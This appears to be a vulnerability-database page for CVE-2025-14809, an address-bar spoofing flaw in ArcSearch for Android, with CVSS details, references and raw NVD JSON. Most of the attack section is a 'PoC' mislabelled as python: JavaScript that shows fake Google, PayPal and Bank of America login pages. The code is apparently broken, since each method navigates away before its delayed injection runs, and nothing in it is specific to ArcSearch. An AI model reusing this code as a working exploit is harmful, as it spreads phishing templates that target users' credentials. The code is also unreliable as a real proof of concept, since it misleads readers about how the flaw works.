CVE-2025-14809

Description

ArcSearch for Android versions prior to 1.12.6 could display a different domain in the address bar than the content being shown, enabling address bar spoofing after user interaction via crafted web content.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

ArcSearch for Android < 1.12.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-14809 Address Bar Spoofing PoC for ArcSearch Android
// This PoC demonstrates how address bar can show legitimate domain while content is from malicious source

// Method 1: Using delayed navigation with history manipulation
function pocMethod1() {
    // Display legitimate domain in address bar
    const legitimateUrl = 'https://www.google.com';
    
    // Create malicious content
    const maliciousContent = `
        <html>
        <body>
            <h1>Fake Login Page</h1>
            <form>
                <input type="text" placeholder="Email">
                <input type="password" placeholder="Password">
                <button>Login</button>
            </form>
        </body>
        </html>
    `;
    
    // Load legitimate page first
    window.location.href = legitimateUrl;
    
    // Then inject malicious content via document.write after delay
    setTimeout(() => {
        document.open();
        document.write(maliciousContent);
        document.close();
    }, 1000);
}

// Method 2: Using iframe with navigation confusion
function pocMethod2() {
    const iframe = document.createElement('iframe');
    iframe.src = 'about:blank';
    document.body.appendChild(iframe);
    
    // Navigate parent to legitimate URL
    window.location.href = 'https://www.paypal.com';
    
    // Write malicious content to iframe
    setTimeout(() => {
        const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
        iframeDoc.open();
        iframeDoc.write('<html><body><h1>Phishing Content</h1></body></html>');
        iframeDoc.close();
    }, 500);
}

// Method 3: Using history.pushState for URL manipulation
function pocMethod3() {
    // Start with legitimate URL
    window.location.href = 'https://www.bankofamerica.com';
    
    // After page loads, push fake state to manipulate history
    setTimeout(() => {
        history.pushState(null, '', 'https://www.bankofamerica.com/fake-login');
        document.body.innerHTML = '<h1>Fake Bank Login</h1><form>Credentials here...</form>';
    }, 2000);
}

// Execute PoC
window.addEventListener('load', () => {
    setTimeout(pocMethod1, 500);
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14809
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14809
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14809/
[4] VulDB https://vuldb.com/cve/CVE-2025-14809
[5] https://arc.net/security/bulletins#cve-2025-14809-address-bar-spoofing-risk-navigation-trigger-uri-confusion-on-arcsearch-android

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14809", "sourceIdentifier": "59469e6c-7ea7-446f-8e43-06aa32c115e8", "published": "2025-12-19T17:15:50.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ArcSearch for Android versions prior to 1.12.6 could display a different domain in the address bar than the content being shown, enabling address bar spoofing after user interaction via crafted web content."}], "metrics": {"cvssMetricV31": [{"source": "59469e6c-7ea7-446f-8e43-06aa32c115e8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "59469e6c-7ea7-446f-8e43-06aa32c115e8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "references": [{"url": "https://arc.net/security/bulletins#cve-2025-14809-address-bar-spoofing-risk-navigation-trigger-uri-confusion-on-arcsearch-android", "source": "59469e6c-7ea7-446f-8e43-06aa32c115e8"}]}}